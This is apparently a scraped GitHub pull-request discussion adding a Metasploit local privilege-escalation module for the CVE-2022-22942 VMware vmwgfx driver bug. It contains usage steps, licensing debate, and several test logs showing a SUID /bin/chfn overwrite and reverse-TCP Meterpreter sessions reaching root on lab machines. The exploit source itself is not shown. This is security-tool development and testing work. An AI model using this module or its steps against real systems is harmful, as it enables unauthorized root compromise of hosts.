metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

cve-2022-22942: linux priv esc on VMWare Virtual Machines, with kernel 4.14-rc1 - 5.17-rc1

Open h00die opened this issue 2 years ago • 14 comments

One of two exploits in #17200

This PR adds a linux priv esc against VMWare virtual machines with kernel 4.14-rc1 - 5.17-rc1 due to a VMWare driver bug.

If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to recover by deallocating the (already populated) file descriptor. This is wrong, as the fd gets released via put_unused_fd() which shouldn't be used, as the fd table slot was already populated via the previous call to fd_install(). This leaves userland with a valid fd table entry pointing to a free'd 'file' object.

We use this bug to overwrite a SUID binary with our payload and gain root. Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

Verification

  1. Start msfconsole
  2. Get an initial user shell
  3. Do: use linux/local/vmwgfx_fd_priv_esc
  4. Do: set session [#]
  5. Do: run
  6. You should get a root shell.

h00die avatar Nov 25 '22 18:11 h00die

going to wait on any review comments till after @minipli-oss responds about the license.

h00die avatar Dec 01 '22 20:12 h00die

The code is GPLv2 and I don't see why that would be an issue -- at least not for the stand-alone PoC.

Beside that, IANAL, so can't give any legal advice if mixing licenses as this project does is fine or not.

Jut noticed, while grepping through the sources, I can see quite a few GPL'ed files, even GPLv3 ones.

minipli-oss avatar Dec 02 '22 07:12 minipli-oss

We've had to document exceptions for those in the past and there's more to it behind the scenes. It's admittedly not considered to be the best practice. We'd be able to move forward more smoothly if the license were one that was clearly compatible such as BSD or MIT.

smcintyre-r7 avatar Dec 02 '22 16:12 smcintyre-r7

AFAIK, and at least according to this, things linking against the kernel are GPLv2 even if only hitting UAPI headers. The official "disambiguation" is not very clear to me...

sempervictus avatar Dec 04 '22 00:12 sempervictus

so how are we standing on these two exploits? My interest in re-writing the original source code is nil so if we can't figure out a path forward, I can just close the PRs.

h00die avatar Dec 07 '22 13:12 h00die

I dont think that its possible to maintain a framework for hackers without handling GPL is some way or another - it is a licensing plague, but its endemic and highly prevalent in the ecosystem. If we carry linux kernel exploits, then we have to accept GPL code because the licensing scheme for exploits requiring linking of or sources which are themselves GPL makes the exploit code GPL too. Aside from GPL code dependencies for MetasploitModules, the actual runtime dependencies include things like Metasm which is LGPL and pretty sure yard of all things is GPL so you kinda can't make a Ruby project w/out allowing the license. Not a lawyer by any stretch, but we're here to hack (learn) and emulate attackers - attackers will mix and match any licenses, so us being constrained by potential concerns of a legal scholar goes directly against the intent: if we won't include things that real attackers use, we cannot accurately simulate their behavior.

sempervictus avatar Dec 07 '22 14:12 sempervictus

@smcintyre-r7 what about adding the file(s) to the LICENSE file, along with a link to where the author gave consent for it to be added? That seams reasonable to me

h00die avatar Dec 09 '22 12:12 h00die

Hi all, please hold while we talk to our lawyers. @sempervictus, I hear you, but we aren't making the rules here, and we also have to ensure we're in line with what the business needs. We're undertaking a larger effort right now to document GPL usage in MSF to understand use cases and dependencies. Thanks for your patience!

ccondon-r7 avatar Dec 09 '22 16:12 ccondon-r7

Thank you very much ma'am. In the worst-case scenario of lawyers determining that there is a legal danger to R7 (something i think we all want to avoid), would a community-maintained tainted_licenses plugin be a viable alternative? Something we could keep in a dedicated org separate from R7 (keep the same commit rights, just have someone else "own" it) which users would elect to install into their framework/pro if they wanted the functionality to avoid redist of the resulting code/bins/etc. Doing it for just MetasploitModules is trivial, and i believe can work for any parts of /lib so long as we get the dependency ordering (or i guess zeitwerk magic) down pat.

sempervictus avatar Dec 09 '22 17:12 sempervictus

I am decidedly not a lawyer, but here's an attempt to make them happy: https://github.com/h00die/metasploit-framework/pull/20

bwatters-r7 avatar Dec 09 '22 21:12 bwatters-r7

Good news everyone! We've gotten word for our purposes, LGPL and GPLv2 are acceptable.

Testing checks out 👍 thanks for the contribution!

msf6 auxiliary(scanner/ssh/ssh_login) > run rhosts=172.16.199.132 rport=4444 username=msfuser password=notpassword

[*] 172.16.199.132:22 - Starting bruteforce
[+] 172.16.199.132:22 - Success: 'msfuser:notpassword' 'uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux msfuser-virtual-machine 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 8 opened (172.16.199.1:55151 -> 172.16.199.132:22) at 2023-01-20 09:34:18 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run session=8 rhosts=172.16.199.132 rport=4445

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /Users/jheysel/.msf4/loot/20230120093436_default_172.16.199.132_binchfn_034079.bin
[*] Uploading payload to /tmp/.6ntizxlWd8
[*] Writing '/tmp/.6ntizxlWd8' (282 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.oWt34mDG4b
[*] Meterpreter session 9 opened (172.16.199.1:4445 -> 172.16.199.132:36990) at 2023-01-20 09:34:45 -0500
[*] Replacing trojaned /bin/chfn with original

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

jheysel-r7 avatar Jan 20 '23 17:01 jheysel-r7

Hey @h00die, I just compiled the exploit myself and was going to push up the R7 compiled version although when testing I wasn't able to get a root shell when compile is set to False.

I compiled the exploit on my Ubuntu test target with the vulnerable kernel. Did you test your pre_compiled binary / any idea what could be causing this issue?

msfuser@msfuser-virtual-machine:~$ gcc -O2 cve-2022-22942-dc.c -o pre_compiled
cve-2022-22942-dc.c: In function ‘main’:
cve-2022-22942-dc.c:514:17: warning: ignoring return value of ‘setuid’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
  514 |                 setuid(0);
      |                 ^~~~~~~~~
cve-2022-22942-dc.c:515:17: warning: ignoring return value of ‘setgid’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
  515 |                 setgid(0);
      |                 ^~~~~~~~~
msfuser@msfuser-virtual-machine:~$
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set compile False
compile => False
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
[+] /dev/dri/card0 found writable
[+] /bin/chfn suid binary found
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /Users/jheysel/.msf4/loot/20230120135607_default_172.16.199.132_binchfn_887706.bin
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.PotYt1KOJ' (26904 bytes) ...
[*] Uploading payload to /tmp/.aYd3GAMlK
[*] Writing '/tmp/.aYd3GAMlK' (282 bytes) ...
[*] Launching exploit...
[*] [~] creating r/o mapping of /bin/chfn...
[*] [~] creating r/o mapping of /proc/self/exe...
[*] [~] spawning helper processes...
[*] [~] vmwgfx setup using /dev/dri/card0...
[*] [+] confirmed to be targeting the right driver
[*] [~] predicted fence fd = 6
[*] [~] triggering fence fd export...
[*] [~] RCU GP passed and file object released -- by now or soon!
[*] [~] probing stale fd for a match...
[*] [~] closing stale fd...
[*] [~] RCU GP passed and file object released again -- hopefully!
[*] [~] stale_fd_worker: done
[*] Replacing trojaned /bin/chfn with original
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set compile True
compile => True
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run

[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
[+] /dev/dri/card0 found writable
[+] /bin/chfn suid binary found
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /Users/jheysel/.msf4/loot/20230120140102_default_172.16.199.132_binchfn_246472.bin
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Uploading payload to /tmp/.bjnH3
[*] Writing '/tmp/.bjnH3' (282 bytes) ...
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.DTO3jY
[*] Meterpreter session 7 opened (172.16.199.1:4445 -> 172.16.199.132:43420) at 2023-01-20 14:01:06 -0500
[*] [~] creating r/o mapping of /bin/chfn...
[*] [~] creating r/o mapping of /tmp/.bjnH3...
[*] [~] spawning helper processes...
[*] [~] vmwgfx setup using /dev/dri/card0...
[*] [+] confirmed to be targeting the right driver
[*] [~] predicted fence fd = 7
[*] [~] triggering fence fd export...
[*] [~] RCU GP passed and file object released -- by now or soon!
[*] [~] probing stale fd for a match...
[*] [~] closing stale fd...
[*] [~] RCU GP passed and file object released again -- hopefully!
[*] [~] stale_fd_worker: done
[*] Replacing trojaned /bin/chfn with original

meterpreter > getuid
Server username: root

jheysel-r7 avatar Jan 20 '23 19:01 jheysel-r7

No issues for me on pre-compiled:

msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set Compile False
Compile => False
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: 
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
[+] /dev/dri/card0 found writable
[+] /bin/chfn suid binary found
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /root/.msf4/loot/20230122060634_default_2.2.2.2_binchfn_369121.bin
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.7JowgCuA' (27152 bytes) ...
[*] Max line length is 65537
[*] Writing 27152 bytes in 2 chunks of 44034 bytes (octal-encoded), using printf
[*] Next chunk is 28808 bytes
[*] Uploading payload to /tmp/.aYd3GAMlK
[*] Writing '/tmp/.aYd3GAMlK' (282 bytes) ...
[*] Max line length is 65537
[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 2.2.2.2
[*] [~] creating r/o mapping of /bin/chfn...
[*] [~] creating r/o mapping of /tmp/.aYd3GAMlK...
[*] [~] spawning helper processes...
[*] [~] vmwgfx setup using /dev/dri/card0...
[*] [+] confirmed to be targeting the right driver
[*] [~] predicted fence fd = 5
[*] [~] triggering fence fd export...
[*] [~] RCU GP passed and file object released -- by now or soon!
[*] [~] probing stale fd for a match...
[*] [~] closing stale fd...
[*] [~] RCU GP passed and file object released again -- hopefully!
[*] [~] stale_fd_worker: done
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:43172) at 2023-01-22 06:06:42 -0500
[*] Replacing trojaned /bin/chfn with original
[*] Max line length is 65537
[*] Writing 72712 bytes in 5 chunks of 37947 bytes (octal-encoded), using printf
[*] Next chunk is 55243 bytes
[*] Next chunk is 52149 bytes
[*] Next chunk is 46026 bytes
[*] Next chunk is 15582 bytes

meterpreter > getuid
Server username: root
meterpreter > 

h00die avatar Jan 22 '23 11:01 h00die

I don't build it by hand, I just comment out the register_files_for_cleanup lines then download the files from the root meterp. however since the payload name gets compiled into the binary, you'll want to hardcode the payload name prior to running the exploit to grab the system compiled binary

h00die avatar Jan 22 '23 11:01 h00die

Thanks for the tip @h00die, was able to follow that and get my pre_compiled binary working. Shipping time 🚢

msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Kernel version 5.13.12-051312-generic appears to be vulnerable
[+] /dev/dri/card0 found writable
[+] /bin/chfn suid binary found
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /home/msfuser/.msf4/loot/20230131093141_default_172.16.199.132_binchfn_279597.bin
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.h9Isa' (27160 bytes) ...
[*] Max line length is 65537
[*] Writing 27160 bytes in 2 chunks of 44038 bytes (octal-encoded), using printf
[*] Next chunk is 28831 bytes
[*] Uploading payload to /tmp/.aYd3GAMlK
[*] Writing '/tmp/.aYd3GAMlK' (282 bytes) ...
[*] Max line length is 65537
[*] Writing 282 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] [~] creating r/o mapping of /bin/chfn...
[*] [~] creating r/o mapping of /tmp/.aYd3GAMlK...
[*] [~] spawning helper processes...
[*] [~] vmwgfx setup using /dev/dri/card0...
[*] [+] confirmed to be targeting the right driver
[*] [~] predicted fence fd = 5
[*] [~] triggering fence fd export...
[*] [~] RCU GP passed and file object released -- by now or soon!
[*] [~] probing stale fd for a match...
[*] [~] closing stale fd...
[*] [~] RCU GP passed and file object released again -- hopefully!
[*] [~] stale_fd_worker: done
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 172.16.199.132
[*] Meterpreter session 10 opened (172.16.199.158:4444 -> 172.16.199.132:51776) at 2023-01-31 09:31:49 -0800
[*] Replacing trojaned /bin/chfn with original
[*] Max line length is 65537
[*] Writing 72712 bytes in 5 chunks of 41544 bytes (octal-encoded), using printf
[*] Next chunk is 48286 bytes
[*] Next chunk is 52136 bytes
[*] Next chunk is 46032 bytes
[*] Next chunk is 15587 bytes

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

jheysel-r7 avatar Jan 31 '23 19:01 jheysel-r7

Release Notes

This PR adds a linux priv esc against VMWare virtual machines with kernel 4.14-rc1 - 5.17-rc1 due to a VMWare driver bug.

jheysel-r7 avatar Jan 31 '23 19:01 jheysel-r7